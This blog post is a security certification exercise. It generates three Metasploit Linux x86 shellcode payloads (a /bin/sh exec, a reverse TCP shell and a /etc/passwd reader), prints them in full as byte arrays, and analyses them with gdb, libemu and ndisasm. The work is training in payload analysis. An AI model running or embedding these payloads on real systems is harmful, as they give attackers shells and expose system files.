This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create three Linux x86 shellcode samples with msfpayload (deprecated, will use msfvenom) and analyze them.
Prestudy
Not much to it. We’ll need the Metasploit Framework and GDB, Ndisasm and Libemu.
Shellcode samples created:
* linux/x86/exec
* linux/x86/shell_reverse_tcp
* linux/x86/read_file
By the name of the different samples we can obviously guess the intended purpose of the shellcode, however, we do not actually know. So, let’s find out.
msfvenom & shellcode generation
The shellcode generation and their settings will look like this. Although the commands when analyzing might differ somewhat, so pay attention to that.
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled Prepend a nopsled of [length] size on to the payload
-f, --format Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder The encoder to use
-a, --arch The architecture to use
--platform The platform of the payload
--help-platforms List available platforms
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars The list of characters to avoid example: '\x00\xff'
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out Save the payload
-v, --var-name Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
linux/x86/exec
msfvenom -p linux/x86/exec CMD=/bin/sh --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 205 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
linux/x86/shell_reverse_tcp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
linux/x86/read_file
msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux -f c
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";
linux/x86/exec
Let’s take the generated shellcode, put it in our C-template and compile it.
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile like usual.
gcc -fno-stack-protector -zexecstack exec-shellcode.c -o exec
Time to analyze it with gdb. ; are comments made by me.
tmp@ubuntu:/home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis$ gdb ./exec --quiet
Reading symbols from /home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis/exec...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x804a040
(gdb) run
Starting program: /home//SLAE/SLAE/SLAE5-MsfpayloadAnalysis/exec
Shellcode Length: 15
Breakpoint 1, 0x0804a040 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>: push 0xb ; push 0xb (11) onto stack
0x0804a042 <+2>: pop eax ; pop 0xb into eax
0x0804a043 <+3>: cdq
0x0804a044 <+4>: push edx ; push 0 onto stack
0x0804a045 <+5>: pushw 0x632d ; push c- onto stack
0x0804a049 <+9>: mov edi,esp ; move stack pointer to edi
0x0804a04b <+11>: push 0x68732f ; push hs/ onto stack
0x0804a050 <+16>: push 0x6e69622f ; push nib/ onto stack
0x0804a055 <+21>: mov ebx,esp ; move stack pointer to ebx
0x0804a057 <+23>: push edx ; push 0 onto stack
0x0804a058 <+24>: call 0x804a065 <code+37> ; call address 0x804a065
<-- SNIPPET -->
0x0804a067 <+39>: mov ecx,esp ; move stack pointer to ecx
0x0804a069 <+41>: int 0x80 ; syscall
0x0804a06b <+43>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) break *0x0804a069 ; set a bp prior to syscall
Breakpoint 2 at 0x804a069
(gdb) c
Continuing.
Breakpoint 2, 0x0804a069 in code ()
(gdb) disassemble
Dump of assembler code for function code:
0x0804a040 <+0>: push 0xb
0x0804a042 <+2>: pop eax
0x0804a043 <+3>: cdq
0x0804a044 <+4>: push edx
0x0804a045 <+5>: pushw 0x632d
0x0804a049 <+9>: mov edi,esp
0x0804a04b <+11>: push 0x68732f
0x0804a050 <+16>: push 0x6e69622f
0x0804a055 <+21>: mov ebx,esp
0x0804a057 <+23>: push edx
0x0804a058 <+24>: call 0x804a065 <code+37>
<-- SNIPPET -->
0x0804a067 <+39>: mov ecx,esp
=> 0x0804a069 <+41>: int 0x80
0x0804a06b <+43>: add BYTE PTR [eax],al
End of assembler dump.
(gdb) stepi ; execute the syscall
process 3813 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
$ ; /bin/sh spawns!
$ exit
[Inferior 1 (process 3813) exited normally]
(gdb)
In the output above we can see push 0xb (decimal 11) and afterwards pop eax, this is the number of the syscall that will be executed. Let’s find out which syscall corresponds to 11!
grep 11 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
man execve
<-- SNIPPET -->
int execve(const char *filename, char *const argv[], char *const envp[]);
This looks correct. Obviously this should be checked before actually executing the syscall. In the end though, as we suspected, this piece of shellcode does indeed execute /bin/sh as intended!
linux/x86/shell_reverse_tcp
Let’s use the tool sctest from libemu to analyze the reverse tcp shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | sctest -vvv -Ss 42
<-- SNIPPET -->
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 16777343 (host=127.0.0.1);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
How cool is that? We can clearly see the different syscalls (socket, dup2, connect, execve) and their parameters. It matches up just nice to the previous reverse shell assignment. Reading the code it is easy to see what it does and where it connects and reassigns the input/output with dup2.
linux/x86/read_file
msfvenom -p linux/x86/read_file PATH=/etc/passwd --arch x86 --platform linux | ndisasm -u -
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
00000000 EB36 jmp short 0x38 ; jmp to address 0x38 (jmp, call, pop)
00000002 B805000000 mov eax,0x5 ; 0x5 syscall = open
00000007 5B pop ebx ; pop address of /etc/passwd into ebx
00000008 31C9 xor ecx,ecx ; zero ecx to open file as O_RDONLY
0000000A CD80 int 0x80 ; syscall int open(const char *pathname, int flags);
0000000C 89C3 mov ebx,eax ; move 5 into ebx (fd)
0000000E B803000000 mov eax,0x3 ; 0x3 syscall = read
00000013 89E7 mov edi,esp ; stack pointer into edi
00000015 89F9 mov ecx,edi ; stack pointer to ecx
00000017 BA00100000 mov edx,0x1000 ; 0x1000 = 4096
0000001C CD80 int 0x80 ; syscall ssize_t read(int fd, void *buf, size_t count);
0000001E 89C2 mov edx,eax ; size of read data
00000020 B804000000 mov eax,0x4 ; 0x4 syscall = write
00000025 BB01000000 mov ebx,0x1 ; stdout = 1 (our fd)
0000002A CD80 int 0x80 ; syscall ssize_t write(int fd, const void *buf, size_t count);
0000002C B801000000 mov eax,0x1 ; 0x1 syscall = exit
00000031 BB00000000 mov ebx,0x0 ; 0 exit/return code
00000036 CD80 int 0x80 ; syscall void exit(int status);
00000038 E8C5FFFFFF call 0x2 ; jmp up, putting next instruction on stack
0000003D 2F das ; rest is /etc/passwd
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 00 db 0x00
This one is pretty straight forward. We can see four different syscalls (in order: open, read, write, exit) that gets executed with different parameters. The shellcode ends in outputting /etc/passwd in the terminal, if ran. To check the different syscall numbers please refer to /usr/include/i386-linux-gnu/asm/unistd_32.h or any online variation of it.
Github Links
Exec-shellcode.c
Msfvenom+output
Leave a Reply